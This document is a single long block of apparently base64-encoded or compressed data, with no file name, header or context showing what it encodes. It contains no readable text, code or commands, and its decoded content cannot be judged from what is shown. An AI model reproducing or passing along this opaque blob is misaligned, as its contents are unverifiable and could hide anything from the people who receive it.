JygmB6g7tvcvcEcBewIruAu29296eATM65lwL3unubux8A7gWWl6LRIiIikqVn/7CD8rQ7f9y4n9OOy19+ND3lZsZFp87mjj9uHtF5IuVWSUH5PCA7CWx7uK/Y54qIiMh4SKegv3PYs688t6uT+niMmQ3xvMcz0eoRB+UALzthJms2t7H9QM+IzxUpl0oKykvCzK4xszVmtqa1tbXczREREZk4etuCgDwSHVbxP2zcx6lzC89p7pE40REM9BxQUxXl5Sc28a2Hto74XJFyqaSgfAewIGt7frhvXM9199vcvcXdW5qbm0fVUBEREcmjex/UThtW0XTGeeTFNpYNEpSPtqcc4KJTZ/PdNdtIpHIzXkUqUyUF5auBpWa2xMyqgSuAlcM89x7gdWY2PRzg+bpwn4iIiJRKdyvUTBtW0XW7OphaW8X0uuqCZTKR0Qfl86bVMn9aLb9cu3tU54uUWsUE5e6eAq4lCKafBe5297VmdrOZXQ5gZueZ2Xbgz4Gvmtna8Nw24NMEgf1q4OZwn4iIiJRKzz6oKdzzne1PG/dz8pzBc889Wk00Nfq88D87ZRb/Tyt8yjEiVu4GZHP3VcCqnH03Zj1fTZCaku/c24Hbi9pAERERKayrdVhzlKfdWb25jatetnjQcmPpKQd4yeLpfPPhLazb2cGy44b3x4JIuVRMT7mIiIgc4w5shvqmIYs9u6uDxprYoKkrEPSUR8bQUx6LRILe8j+ot1wqn4JyERERGR9tm6BxzpDF/rRxP6cMMsBzQDpWT1X/gTE16c9Omc0vntlNW3diTPWIFJuCchERERkfBzZDw+BBedqdRzYPPuvKgETtLOJd24YsN5iptVWcv2Q633p4y5jqESk2BeUiIiIydu7Qvm3InvLndnXSGB86dQUgWTuLmjEG5QCvWzaHb/xxC/2p9JjrEikWBeUiIiIydj37IVoF1fWDFvvjxn2cMmd4gy6TNTOI9bdj6f4xNW3RzHrmTa/lJ4/vHFM9IsWkoFxERETG7sDmIXvJDy0YNNyZUCxCoraZeNf2MTfvDWfM5cv3byCT8THXJVIMCspFRERk7IaRT75uVwdThlgwKFeibjY1nWPPBz/tuClUxyKsembXmOsSKQYF5SIiIjJ2B16E+lmDFnlwwz5OnTv4gkG5kjVN45JXbma85Zx53HLv86TVWy4VSEG5iIiIjF3bi9A4u+DhRDrD6s1tnDZ36MWFsiVrmomPQ085wFnzp1EVjfDTJ5VbLpVHQbmIiIiMXduLg6avPLHtILOnxJlSWzWiahN1s6jt3DzGxgXMjHe2LOCff/kcfUnNxCKVRUG5iIiIjN3BLYMO9Pz9C60smzOyXnII5yrvHHv6yoBT505hwYw6vvb7TeNWp8h4UFAuIiIiY5NKQPdeqG/Ke7irP8XT29s5dbizrmRJ1jYT794RzIM+Tt51/kL++/cvsq2tZ9zqFBkrBeUiIiIyNu3boK4JIrG8h/+4cT8nzGqgtio64qozsToy0ThVffvG2spDZk+p4bLT53DdD57CxzHYFxmLigrKzWy5ma03sw1mdl2e43Ez+254/GEzWxzuX2xmvWb2RPj4SskbLyIiMlkd3AKNcwse/u36PZw5b+SpKwMSdbOJj8MMLNnecOZc9nb2c8cfN49rvSKjVTFBuZlFgVuBy4BlwJVmtiyn2AeAA+5+IvCvwD9nHdvo7meHjw+WpNEiIiISzlGef+aVzft7aOtKcHxzw6irT9bMoqZz66jPzycWifChV5/Av973Ak9sOziudYuMRsUE5cD5wAZ33+TuCeAuYEVOmRXAHeHz7wMXmZmVsI0iIiKSq+1FaGjOe+i+Z3dz9oJpRMbw33Witnncg3KAudNq+cArlvBX31jDzoO9416/yEhUUlA+D8j+bGp7uC9vGXdPAe3AzPDYEjN73MweMLNXFruxIiIiEmrblHc6xN5kmj9s3M/ZC6aPqfpkbTM14zQtYq7zFs/gktNm8+6vPUxrZ39RriEyHJUUlI/FLmChu58DfBT4tpnlHeJtZteY2RozW9Pa2lrSRoqIiExIBdJXfvd8K0tm1o14bvJcidpZxLvGv6d8wBvOOI6WRdN5+1f+yA71mEuZVFJQvgNYkLU9P9yXt4yZxYCpwH5373f3/QDu/iiwETgp30Xc/TZ3b3H3lubm/B+1iYiIyAgc3HrUHOUZd37xzC5aFs0Yc/XJ2lnUjPNAz1xvPXc+rz6pmTf/5x94dMuBol5LJJ9KCspXA0vNbImZVQNXACtzyqwErgqfvx34jbu7mTWHA0Uxs+OBpYBWBRARESm23gOQSUP8yA+oH992kIgZC2fUjfkSyZoZxPrbsXRx00suO30uV798MX95x2q++sBGMhlNlyilUzFBeZgjfi1wD/AscLe7rzWzm83s8rDY/wAzzWwDQZrKwLSJrwKeMrMnCAaAftDd20r6AkRERCajA1tgynGQNZDTcX7w6HZeekIT4zIfg0VI1DYT79o+9rqGcO7C6Xzq8tP48RM7uPK/H9ICQ1Iy+Wf5LxN3XwWsytl3Y9bzPuDP85z3A+AHRW+giIiIHGnHGpi28Ihdz+zooLMvxSlzGsftMsnaWdR0bqFv6gnjVmchzY013PD6Zax6Zhdv+o8H+eglJ/GeCxcRiWjCNymeiukpFxERkWPQMz+CBRcc2nScbz+8hVec2DSmaRBzJWqbqe0oXWZqJGK88czjuOENy/jWw1u54rY/qddcikpBuYiIiIxO937Y9QTMO/fQroc2tdGfyrDsuLyToI1a18wzmLnlF+Na53DMm17LjW9cxtLZjbzpPx7krke24q5ccxl/CspFRERkdNb/HOa9BGI1APSl0tz50Bb+7JTZ49pLDtA98yxq2zdQ3Z07MVvxDfSaf/z1p/KVBzbyV3c+SntPsuTtkIlNQbmIiIiMzjM/PCJ15fuPbmfe1FqWNNWP+6U8EqNj1vnM3Pzzca97uBbMqONTl59OLGos//ff8dhWTZ0o40dBuYiIiIxc70HY/gjMbwFg/Z5O7l/fysXLZhXtkh1zLqT5xZ8Urf7hqI5FeO+Fi3nXBQv5wNeDqROVziLjQUG5iIiIjNzzv4S5Z0NVHV39Kf7zNxu47PQ5NMTHtnrnYLqnn0p1zx5qSjjgs5CWRTP41OWn88PHdvD+r6+mrTtR7ibJMU5BuYiIiIxcmLqSzjj/dt/znDirgVPmjO/gzqNYhPbZF9D0Yu7aguXR3BjnhjeeSmNNjMv+7Xf8ccO+cjdJjmEKykVERGRkuvfDlj+QmX8et96/gUQqw5+dUry0lWwdsy+k6cWfQIWkjMQiEd51/iLe//Il/PVdj3PTymfoSaTK3Sw5BikoFxERkeHra4c730L65Nfzb7/bxa72Pt567vxxn22lkN6pJxJJ99Ow74mSXG+4zlowjX96yxls2tfDJbf8jnvX7VGuuYyIgnIREREZnkQ3fPPt9NTP4x83n01Xf4p3tiygKlrCcMKM1uPfytLf/zWx/sqa/aSxpooPvfoE3vfSRdz8s7W846t/4o8b9yk4l2GxyfyN0tLS4mvWrCl3M0RERCpf7wEyd72H7V3w6f1/xoUnNHHBkplYiXrIc8164TvEe3az7pJv4pHiDS4drXTG+f0Lrfzs6V3UV0e54ryFLD99DsdNqx1RPX3JNPu7E3T3p0ikMkQjRkM8xoz6aurjsSK1XorBzB5195aCxxWUKygXEREZTM/z9+M/+F88lDyRBxrfxEXL5tDUEC9vozzDgif/lZ5pJ/HiBZ+BMv1xMJSMO2t3dvCnjft4dMsBptZWcca8qRzf3EBzY5zaqiiO05tIc6AnyZ6OPnYc7GVXex97OvroS6aZWltFXXWMWMTIuNObTHOwJ0l1LMKC6bWcOKuRU+dO4eQ5DSyd1ci8abVEIpV5PyYzBeWDUFAuIiKSX08ixcNPriXzh//g7AP3cM+UtzHj5JezYHpduZt2SCTVw+JHP0tfwwI2n3cTfVMWl7tJg8q4s+NAL5v3d7Ono4+u/hSJdAbDqIoa9fEYU2urmFFfTXNDnBn11TTEY3k/jXB3OvtT7G4PgvgdB3rZebCXbQd66OxLMX96LcdNq2VWY5yZDXGm1lZRXx2lrjpGvCpCfXWMhpqgx31WY3C8XJ96TBbHXFBuZsuBfweiwNfc/fM5x+PAN4CXAPuBd7r75vDY9cAHgDTw1+5+z2DXUlAuIiIS6E2keXLbAdY+9yz7XljNuQdW8bLIWrZOaaH31D8n3jiz3E3MyzIpZmz9JU1bfsbupe9m79J30N+4qNzNKqveRJq9nX3s60pwsCdBZ1+K3mSQ/tKfzgRfkxl6k2k6+pK0dSVwYPHMOk6ZM4WzFkzj3IXTOXVuI7FSjheY4I6poNzMosDzwCXAdmA1cKW7r8sq87+BM939g2Z2BfAWd3+nmS0DvgOcDxwH3Aec5O7pQtdTUC4iIpNNXzLN7vY+Nu/vZvPufXRtWk3j7oc4ue8JTrfNeLSK7roFJOa+hO55ryQTq5ye8cHE+vbT/OJPaNy7hmTNDA7Mv4jumWfSPf1U+hoXQSRa7iZWtK6+FDvbe9na1sOW/d28sLeLfV39nDV/Gi89YSYXLJnJmfOnUlOl+zhax1pQ/lLgJne/NNy+HsDdP5dV5p6wzJ/MLAbsBpqB67LLZpcrdD0F5SIiUskyGaetJ8Hejv5DPZ9t3f20dSc42JOkqz9FbyJNIp0hnXEy7rhDxNPUejd1qQ6mJVuZltpDQ2If1al2GjKdLIge5ATbwXQ/yIH4fLqnnYTPOp3E9BNJV08t98seG89Q276RhraniXdto6ZzC7H+g/ROPYGeaSfTO20pidrZJOpmk6xtJlnTRKp6asXmpJdTV1+K53Z3sH5PJ8/v6WRrWw/HNzdwxrypLJs7hROaG1gwo5Y5U2uIxxSsD2WooLzShu3OA7ZlbW8HLihUxt1TZtYOzAz3P5Rz7rziNXUMuvbCU3cD+f4gmki/FAr9wTeS1zgedRyrRvvah/OHdr46RvMH+nDfh0HqztcxMJL/HN3z1G8jrydve/zIbTOwyCDXzbr+wLUHe30FO0UG+92QdSz3fLOsa9vhskddx4dofz659zSs3zPBI7vcoetntXfgern384jvofD4EWUHyluec3Lan/e9C78OvHcWOdxmzxS4h0AmBZnwg9aB83LrHDjf05BJk/EMm/d10ZdIgjvmDgT3JuOQwbBMGssksHSCjEMqEzwymSSkkpBOkEmnwFPESFNFmmqC5wvMWWJQZWmqLEOMNFEyREkTJU1Npueodw0gTZTuqhn0VU0lXVdPpqqe/ths9tSew4vxZtzCYCoB7Nmat45jTSewt2opTF8K0yGW7qWhdweN7TuYsvcp4omD1CQPEMnzYbpjpCNx0pEqMpEq0pFq0pEaUtF4uL+adCROJjyesSoykRjpSBVuMRzDLQJEcIuQsQhuUdwiOMH3UvD8yO9/NwuOZ/3+yPnuz9PWQkfH5//facCFwEsBZkOq2TnQ3U/blgTtz6X4fW+SdM6ldvsMfp65gKpojGjEGBhvmvEgDz6VcdIZH9Zvn3gsQk1VlNqqKDVVEerjMerCvPi66ig1VVHisQjxWITqWIRYNEJVxIhEjKgFX83AGPgKS5rqed1pc0ZwH0qn0oLyojOza4Brws0uM1tf6jbMrrem+VNscie8jVFrj9NcNxkCc9F7PXnovR67NBHSHvE0kZyYZ0f4qAwHelI2vS5WMR/VG07UMmHonCEI62W09voiUhzuOU/3tBOty/MJzOF0jezvheCvkiL+Kkjs2fhYmSaPHzT2q7SgfAewIGt7Pkf/Fhkosz1MX5lKMOBzOOfi7rcBt41jm6UMzGzNloOZgh8BycSh93ry0Hs9eZjZmp3tSb3Xk4SZrUm179X7PYRKG1K7GlhqZkvMrBq4AliZU2YlcFX4/O3Abzz4a2clcIWZxc1sCbAUeKRE7RYRERERGbWK6ikPc8SvBe4hmBLxdndfa2Y3A2vcfSXwP8CdZrYBaCMI3AnL3Q2sA1LAhwebeUVEREREpFJU1OwrIsNlZteEqUgywem9njz0Xk8eeq8nF73fw6OgXERERESkzCotp1xEREREZNJRUC7HHDP7iJk9Z2ZrzewLWfuvN7MNZrbezC4tZxtl/JjZx8zMzawp3DYz+1L4Xj9lZueWu40yNmb2xfBn+ikz+5GZTcs6pp/rCcbMlofv5wYzu67c7ZHxY2YLzOy3ZrYu/D/6b8L9M8zsXjN7Ifw6vdxtrUQKyuWYYmavBVYAZ7n7acD/DfcvIxj0exqwHPiymWl5sWOcmS0AXgdkr2hyGcHsSksJ1hz4rzI0TcbXvcDp7n4m8DxwPejneiIK379bCX6OlwFXhu+zTAwp4GPuvoxg3aEPh+/vdcCv3X0p8OtwW3IoKJdjzYeAz7t7P4C77w33rwDucvd+d38R2ACcX6Y2yvj5V+DvOXJhiRXANzzwEDDNzOaWpXUyLtz9V+6eCjcfIlhnAvRzPRGdD2xw903ungDuInifZQJw913u/lj4vBN4lmB19RXAHWGxO4A3l6WBFU5BuRxrTgJeaWYPm9kDZnZeuH8esC2r3PZwnxyjzGwFsMPdn8w5pPd6YvsL4Bfhc73XE4/e00nCzBYD5wAPA7PdfVd4aDcwu1ztqmQVNU+5CICZ3QfMyXPoEwTfszMIPhY7D7jbzI4vYfNkHA3xXn+cIHVFJoDB3mt3/0lY5hMEH39/q5RtE5HxZWYNwA+A/8/dO8zs0DF3dzPT1H95KCiXiuPuFxc6ZmYfAn4YruL6iJllgCZgB7Agq+j8cJ9UsELvtZmdASwBngx/mc8HHjOz89F7fUwa7OcawMyuBt4IXOSH5+rVez3x6D2d4MysiiAg/5a7/zDcvcfM5rr7rjDdcG/hGiYvpa/IsebHwGsBzOwkoBrYB6wErjCzuJktIRgE+Ei5Gilj4+5Pu/ssd1/s7osJPuI+1913E7zX7wtnYbkQaM/6WFSOQWa2nGDswOXu3pN1SD/XE89qYKmZLTGzaoKBvCvL3CYZJxb0ovwP8Ky735J1aCVwVfj8KuAnpW7bsUA95XKsuR243cyeARLAVWGv2lozuxtYR/Dx94fdPV3GdkrxrAJeTzDorwd4f3mbI+PgP4E4cG/4ychD7v5Bd9fP9QTj7ikzuxa4B4gCt7v72jI3S8bPy4H3Ak+b2RPhvo8DnydIN/0AsAV4R3maV9m0oqeIiIiISJkpfUVEREREpMwUlIuIiIiIlJmCchERERGRMlNQLiIiIiJSZgrKRURERETKTEG5iEgBZvYVM/vHcaproZl1mVk03L7fzP5yPOoO6/uFmV01dMnxZWafMbN9Zra7CHV/3cw+M971iohUIgXlIjIpmdlmM+s1s04zO2hmfzSzD5rZod+L4VzZnx5mXYOuWOnuW929YTzm2Tazm8zsmzn1X+bud4y17hG2YyHwMWCZu88pUGaKmf2bmW0N/yjZGG43lbKt48XMLjSz7nAZ8dxjj5vZtWbWZGZ/MLP94ffWn8zs5eVor4gcOxSUi8hk9iZ3bwQWESxu8Q8Eq9GNKzObqAu1LQT2u3veJbPDFRt/DZwGLAemAC8F9gPnl6qR48ndHyJYYfbt2fvN7HRgGfAdoAv4C6AZmA78M/DTCfx9ICLjQEG5iEx67t7u7iuBdwJXhQHWEekTYe/nz8KezzYz+72ZRczsToLg9KdhT/Dfm9liM3Mz+4CZbQV+k7UvOzA7wcweMbMOM/uJmc0Ir/UaM9ue3caB3vhwSfqPA+8Mr/dkePxQOkzYrhvMbIuZ7TWzb5jZ1PDYQDuuCnuv95nZJwrdGzObGp7fGtZ3Q1j/xcC9wHFhO76e5/T3hffmLe6+zt0z7r7X3T/t7qvC+k8N237QzNaa2eUF2nG1mT2Ys8/N7MSs9+rLYRpPV9hTPSfslT9gZs+Z2Tk59/PvzOwpM2s3s++aWU2h+5DjjvC15b7WVe6+39373H29u2cAA9IEwfmMYdYvIpOQgnIRkZC7P0LQC/rKPIc/Fh5rBmYTBMbu7u8FthL0uje4+xeyznk1cCpwaYFLvo+gR3UuwTLyXxpGG38J/BPw3fB6Z+UpdnX4eC1wPNBAsJR9tlcAJwMXATea2akFLvkfwNSwnleHbX6/u98HXAbsDNtxdZ5zLwZ+6e5d+So2syrgp8CvgFnAR4BvmdnJBdoylHcANwBNQD/wJ+CxcPv7wC15yi8HlgBnEtyzgbYdNLNXFLjOncCrzGxBWDYCvIsgWM9+fU8BfcBK4GuFPlEQEQEF5SIiuXaSv0czSRA8L3L3pLv/3t19iLpucvdud+8tcPxOd3/G3buBfwTeYeFA0DF6N3CLu28KA+LrgStyeuk/5e697v4k8CRwVHAftuUK4Hp373T3zcC/AO8dZjtmArsGOX4hwR8Mn3f3hLv/BvgZcOUw68/1I3d/1N37gB8Bfe7+jTCP/7vAOTnlv+TuO929jeCPg7MHDrj7NHd/kDzcfRtwP4fvw0VAHPh5TrkzCVJ23gXkrUtEZICCchGRI80D2vLs/yKwAfiVmW0ys+uGUde2ERzfAlQR9OqO1XFhfdl1xwh6+Adkz5bSQxAc52oK25Rb17xhtmM/wR8yg7VzW5jmMZr6c+3Jet6bZzv3NQ7nHhRyB4eD8vcCd7l7MrdQmMryHeA6M8v3qYaICKCgXETkEDM7jyAgPKpXM+wp/pi7Hw9cDnzUzC4aOFygyqF60hdkPV9I0Bu/D+gG6rLaFSVImxluvTsJBq9m153iyCB1OPaFbcqta8cwz78PuNTM6gdp54LsGW8GqT/3nuSd7aWEfgjMN7PXAm8lJ3UljyqCFCARkbwUlIvIpBdO2/dG4C7gm+7+dJ4ybzSzE83MgHaCwXsDPbx7GF3A9R4zW2ZmdcDNwPfDVIvngRoze0OYd30DQXrEgD3A4pxgNtt3gL81syUWTN03kIOeGknjwrbcDXzWzBrNbBHwUeCbg595yJ0Enwb8wMxOCQeIzjSzj5vZ64GHCXqo/97MqszsNcCbCN6H/5+9+46P86ryP/45GvVeLduSe4lLipM4DiQhCZtAEkpCJ7BAYNnN8luyDdgllAU2wC5LW2A3LLAQCLAQQmgGAum92ilO4t5tucpW72XO74/nUTIWkizLM3pG0vf9es1r5mn3OdLI8tGdc+8dbB2w3MxWhAMyP3MiX0uyhSVHtwHfB3a7+9qBYxZMm3iBmWWbWZ6ZfZTgU4onIgpXRCYAJeUiMpX91sxaCRLHTxAMBHzfMOcuIuj5bSMYQPhNd78vPPbvwCfDwYEfOYH7/wj4AUEZRS7wdxDMBgP8DfBdgl7jdoJBpgN+Hj4fNbOnh2j3prDtB4GdBIMN//YE4kr0t+H9dxB8gvCTsP3jcvdugsGemwhmamkBniQoi3nC3XsIkvArCHrlvwm8x903DdHWFoI/XO4GtpLiGu1wBpehBvwmupngU4QfDtqfA9xIUL6zD3gN8Fp335/0QEVk0rDjj1MSEREREZFUUk+5iIiIiEjElJSLiIiIiERMSbmIiIiISMSUlIuIiIiIRCzz+KdMXpWVlT537tyowxARERGRSe6pp5464u5Vwx2f0kn53LlzWbt27fFPFBERERE5CWa2e6TjKl8REREREYmYknIRERERkYgpKRcRERERiZiSchERERGRiCkpFxERERGJmJJyEREREZGIKSkXERERSbW+7qgjkDSnpFxEREQk1W6+EnY9HHUUksaUlIuIiIikWv0m2H5/1FFIGlNSLiIiIpJK3a3Q1QS71VMuw1NSLiIiIpJKjbuhYBoceFa15TIsJeUiIiIiqdS0B8rnQ8ks2P9s1NFImkq7pNzMLjezzWa2zcyuH+L4B8zseTN71sweNrNlCcc+Fl632cwuG9/IRURERIbQtBsKq2DaMtj9SNTRSJpKq6TczGLAjcAVwDLgHYlJd+gn7n6au68Avgh8Nbx2GXA1sBy4HPhm2J6IiIhIdBp2Qn4VTFsKux6KOhpJU2mVlAOrgG3uvsPde4BbgKsST3D3loTNAsDD11cBt7h7t7vvBLaF7YmIiIhEp3EXFFUHPeV1ayDeH3VEkobSLSmvAfYmbNeF+45hZh80s+0EPeV/d4LXXmtma81sbX19fdICFxERERlS024orIa8Msgrh0Pro45I0lC6JeWj4u43uvsC4KPAJ0/w2u+4+0p3X1lVVZWaAEVEREQA3KF5LxROD7anLYM9j0Ubk6SldEvK9wGzErZrw33DuQV4wxivFREREUmtzkbAILsg2J62FHY+GGlIkp7SLSlfAywys3lmlk0wcHN14glmtihh87XA1vD1auBqM8sxs3nAIuDJcYhZREREZGhNu6FoBpgF29XLYc/jQQ+6SILMqANI5O59ZnYdcAcQA25y9/VmdgOw1t1XA9eZ2aVAL9AIXBNeu97MbgU2AH3AB91dIylEREQkOo27oXDaS9sF0yAjAxp2QMWC6OKStJNWSTmAu98O3D5o36cSXv/9CNd+Hvh86qITEREROQFNg5JyM6g+DXY+oKRcjpFu5SsiIiIik0fjLigYNLHEjDNg692RhCPpS0m5iIiISKo07AymQ0w0YwXsehj6+yIJSdKTknIRERGRVGna86dJeX45FFTC/meiiUnSkpJyERERkVRwh+a6P03KIShh2X7P+MckaUtJuYiIiEgqtB2GrLzgMdiMFbBNdeXyEiXlIiIiIqkwMEf5UKqXw6H10NUyvjFJ2lJSLiIiIpIKjbuHLl0ByMwJVvfc9dD4xiRpS0m5iIiISCo07Q4GdA5nxhmwTXXlElBSLiIiIpIKDTuPXThosBkrNNhTXqSkXERERCQVGoeYozxR2Vzobg0WGJIpT0m5iIiISLK5w9GtUFwz/DmWATVnwabbxy8uSVtKykVERESSrWEHOCP3HmH5hgABAABJREFUlAPMuxievjlI4mVKU1IuIiIikmy7Hobpp4HZyOdNPw26muHAuvGJS9KWknIRERGRZNv5AExbdvzzLAMWXAJP/zD1MUlaU1IuIiIikkzuL/WUj8aCP4MXfgG9XamNS9KaknIRERGRZGrcCR4ffjXPwQqnQcVC2PS71MYlaU1JuYiIiEgyjbaePNGCV8JTN6cuJkl7SspFREREkmnHKOvJE81+ORx8Dpr2pCYmSXtKykVERESS5UTryQfEsmHWubDljtTEJWkvrZJyM7vczDab2TYzu36I4x8ysw1m9pyZ3WNmcxKO9ZvZs+Fj9fhGLiIiIkJQTx7vg6KZJ35tQSW0HEh+TDIhZEYdwAAziwE3Aq8C6oA1Zrba3TcknPYMsNLdO8zs/wFfBN4eHut09xXjGbOIiIjIMXY9cuL15APyyqF1f/JjkgkhnXrKVwHb3H2Hu/cAtwBXJZ7g7ve5e0e4+ThQO84xioiIiAxv5wNQvXxs1+aVQat6yqeqdErKa4C9Cdt14b7hvB/4Q8J2rpmtNbPHzewNw11kZteG562tr68/qYBFREREjrH7Uag+dWzX5pdD2+HkxiMTRtqUr5wIM3sXsBK4KGH3HHffZ2bzgXvN7Hl33z74Wnf/DvAdgJUrV/q4BCwiIiKTX/tR6GqG4jHUk0PQU66kfMpKp57yfcCshO3acN8xzOxS4BPAle7ePbDf3feFzzuA+4EzUxmsiIiIyDEOroOKBWBjTK9yS6GrCfr7khmVTBDplJSvARaZ2TwzywauBo6ZRcXMzgS+TZCQH07YX2ZmOeHrSuB8IHGAqIiIiEhqHXgOyuaN/fqMGOSWQLvKa6eitClfcfc+M7sOuAOIATe5+3ozuwFY6+6rgS8BhcDPLRjVvMfdrwSWAt82szjBHxpfGDRri4iIiEhq7X8Gyk8iKYewrvwgFM9ITkwyYaRNUg7g7rcDtw/a96mE15cOc92jwAnO0i8iIiKSRAfWwcIhU5XRyyuH1kPJiUcmlHQqXxERERGZmLrbgukMS2Yd/9yR5JUFPeUy5SgpFxERETlZh14I6skzYifXTm4JtCopn4qUlIuIiIicrAProHz+ybeTVwYtWkBoKlJSLiIiInKy9j8DZXNPvp28cq3qOUUpKRcRERE5WcnsKVdN+ZSkpFxERETkZPR1Q8OOJPWUa1XPqUpJuYiIiMjJOLwRimdCZs7Jt5VfHiwe5H7ybcmEoqRcRERE5GQcfA7KFySnrVg2ZOVBR0Ny2pMJQ0m5iIiIyMlI1iDPAfkV0KYFhKYaJeUiIiIiJ2P/s8kZ5Dkgr1yDPacgJeUiIiIiY+UO9ZugfF7y2swrg1b1lE81SspFRERExqrtcDDAM7sweW3mlqqnfApSUi4iIiIyVo27oGhGctvMK9WqnlOQknIRERGRsWrcBUXTk9umVvWckpSUi4iIiIxV404oqEpum/ll0KrylalGSbmIiIjIWB3dDoUp6CnXlIhTjpJyERERkbFq3Jma8pX2w8ltU9KeknIRERGRsWranfykPCsvmGqxuzW57UpaS6uk3MwuN7PNZrbNzK4f4viHzGyDmT1nZveY2ZyEY9eY2dbwcc34Ri4iIiJTTm8ndDYHPdvJZBas6qm5yqeUtEnKzSwG3AhcASwD3mFmywad9gyw0t1PB24DvhheWw58GjgXWAV82szKxit2ERERmYIaw17yjFjy287Xqp5TTdok5QTJ9DZ33+HuPcAtwFWJJ7j7fe7eEW4+DtSGry8D7nL3BndvBO4CLh+nuEVERGQqSsV0iAPyNAPLVJNOSXkNsDdhuy7cN5z3A3840WvN7FozW2tma+vr608iXBEREZnSGndB4bTUtJ1bqhlYpph0SspHzczeBawEvnSi17r7d9x9pbuvrKpK8ryiIiIiMnU07ICCFCXleaWqKZ9i0ikp3wfMStiuDfcdw8wuBT4BXOnu3SdyrYiIiEjSNGxPXflKbplqyqeYlCXlZvZLM3utmY32HmuARWY2z8yygauB1YPaPBP4NkFCnjiB5x3Aq82sLBzg+epwn4iIiEhqNO6GohmpaVs15VNOKnvKvwm8E9hqZl8ws1NGOtnd+4DrCJLpjcCt7r7ezG4wsyvD074EFAI/N7NnzWx1eG0D8FmCxH4NcEO4T0RERCT53KF5LxRWp6b9vFJo0wJCU0lmqhp297uBu82sBHhH+Hov8L/Aj929d4hrbgduH7TvUwmvLx3hfjcBNyUpfBEREZHhtR2CrPxgoZ9UyCuDdk1IMZWktKbczCqA9wJ/STDH+NeBswimLBQRERGZmBp2QnGKSlcAckugqwni/am7h6SVlPWUm9mvgFOAHwGvd/cD4aGfmdnaVN1XREREJOUad0FhigZ5AmRkQk4RtB+BohSVyEhaSVlSDvxvWI7yIjPLcfdud1+ZwvuKiIiIpFbjTihM8dTKeeXQflhJ+RSRyvKVzw2x77EU3k9ERERkfDTsSG1POQR15VpAaMpIek+5mU0nWE0zL5zC0MJDxUB+su8nIiIiMu4adsDMs1N7D83AMqWkonzlMoLBnbXAVxP2twIfT8H9RERERMZPPB7OUZ7invLcEvWUTyFJT8rd/WbgZjN7s7v/Itnti4iIiIy7eBye/A5svRPq1kDxTMgvT+09c0u0gNAUkorylXe5+4+BuWb2ocHH3f2rQ1wmIiIikr7qN8JDX4aV74ez3xvUe6daXhkc3Z76+0haSEX5SkH4XJiCtkVERETGX91amHEGzL1g/O6ZVwZt6imfKlJRvvLt8Plfk922iIiISCT2PgkVC8f3nrll0KZVPaeKlE2JaGZfNLNiM8sys3vMrN7M3pWq+4mIiIikTN2TUHnK+N4zrwzalZRPFamcp/zV7t4CvA7YBSwE/imF9xMRERFJvu5WaN4LZXPH9745hdDbAX3d43tfiUQqk/KB0pjXAj939+YU3ktEREQkNfY9DeULIJY1vve1jGCGF81VPiWkMin/nZltAs4G7jGzKqArhfcTERERSb66tVC5KJp75ykpnypSlpS7+/XAecBKd+8F2oGrUnU/ERERkZSoewIqF0dz77wyLSA0RaRiSsRESwjmK0+8zw9TfE8RERGR5HCHuqfgtLdHc3+t6jllpCwpN7MfAQuAZ4H+cLejpFxEREQmiua9gENBVTT3zy1R+coUkcqe8pXAMnf3FN5DREREJHXq1kLVEjCL5v65pdB6IJp7y7hK5UDPF4DpKWxfREREJLWiWDQoUV4ZtGpVz6kglUl5JbDBzO4ws9UDj5EuMLPLzWyzmW0zs+uHOH6hmT1tZn1m9pZBx/rN7NnwMeJ9REREREal7snoBnmCBnpOIaksX/nMiZxsZjHgRuBVQB2wxsxWu/uGhNP2AO8FPjJEE53uvmJMkYqIiIgM1tkEhzbARR+NLgat6jllpCwpd/cHzGwOsMjd7zazfCA2wiWrgG3uvgPAzG4hmELxxaTc3XeFx+KpiltERESmMHd47lZ4/lbY8xgsvASy8qOLJ68M2o8EcUVV1y7jImXlK2b2V8BtwLfDXTXAr0e4pAbYm7BdF+4brVwzW2tmj5vZG0aI69rwvLX19frLU0RERBLsexru/ATMWAFv/j6c+4Fo48nKAwN62qKNQ1IulTXlHwTOB1oA3H0rMC2F95vj7iuBdwJfM7MFQ53k7t9x95XuvrKqKqLpjURERCQ9tewLasjnXwzZEfaQJ9KqnlNCKpPybnfvGdgIFxAaaXrEfcCshO3acN+ouPu+8HkHcD9w5okEKyIiIkLbIcgrjTqKY+WVa7DnFJDKpPwBM/s4kGdmrwJ+Dvx2hPPXAIvMbJ6ZZQNXA6OaRcXMyswsJ3xdSdBDv2Hkq0REREQGaTkQzA2eTvJKlZRPAalMyq8H6oHngb8Gbgc+OdzJ7t4HXAfcAWwEbnX39WZ2g5ldCWBm55hZHfBW4Ntmtj68fCmw1szWAfcBXxg0a4uIiIjI8bXsC3qm00luqcpXpoBUzr4SN7NfA79291GNqHT32wmS98R9n0p4vYagrGXwdY8Cp51UwCIiIiKtB6DqlKijOFZucdCDL5Na0nvKLfAZMzsCbAY2m1m9mX3qeNeKiIiIRKr1IORXRB3FsQqqoKUu6igkxVJRvvKPBDXd57h7ubuXA+cC55vZP6bgfiIiIiLJ0X44mBs8nRRUQtPe458nE1oqkvJ3A+9w950DO8IZUd4FvCcF9xMRERE5eX090N0KuSVRR3Ks/Kqg1l0mtVQk5VnufmTwzrCuPCsF9xMRERE5eW2HgtIVS+U8GGNQUBnEFteC5pNZKn7qesZ4TERERCQ6rQfTb+YVgMwcyMqHdq1EPpmlYvaVM8ysZYj9BuSm4H4iIiIiJ6/1AOSnYVIOUDgtGOxZVB11JJIiSU/K3T2W7DZFREREUi4dV/McUFAFzfug5uyoI5EUSbOiKREREZGIpONqngPyK6BZ0yJOZkrKRURERABa96ffHOUD8suhWdMiTmZKykVEREQAWvan3xzlAwqqoGlP1FFICikpFxEREYGXpkRMRwVVKl+Z5JSUi4iIiEA40DONe8pb90cdhaSQknIRERGRdF3Nc0BeOXQ0BHHKpKSkXERERCRdV/MckBELBnu2Hog6EkmRNP3JExERERlH6bqaZ6KCamjZF3UUkiJKykVERETaDqbvap4DCio12HMSU1IuIiIi0nowfQd5DsgrV1I+iSkpFxEREWk5kL6DPAcUVGqu8kksrZJyM7vczDab2TYzu36I4xea2dNm1mdmbxl07Boz2xo+rhm/qEVERGTCS+fVPAcUVGpVz0ksbZJyM4sBNwJXAMuAd5jZskGn7QHeC/xk0LXlwKeBc4FVwKfNLM0/gxIREZG0kc6reQ4oqIJmDfScrNImKSdIpre5+w537wFuAa5KPMHdd7n7c0B80LWXAXe5e4O7NwJ3AZePR9AiIiIyCaTzap4DCqqCPx5kUkqnpLwGSPxMpi7cl9RrzexaM1trZmvr6+vHFKiIiIhMMm2H0n9KxJxi6OuCnvaoI5EUSKekfF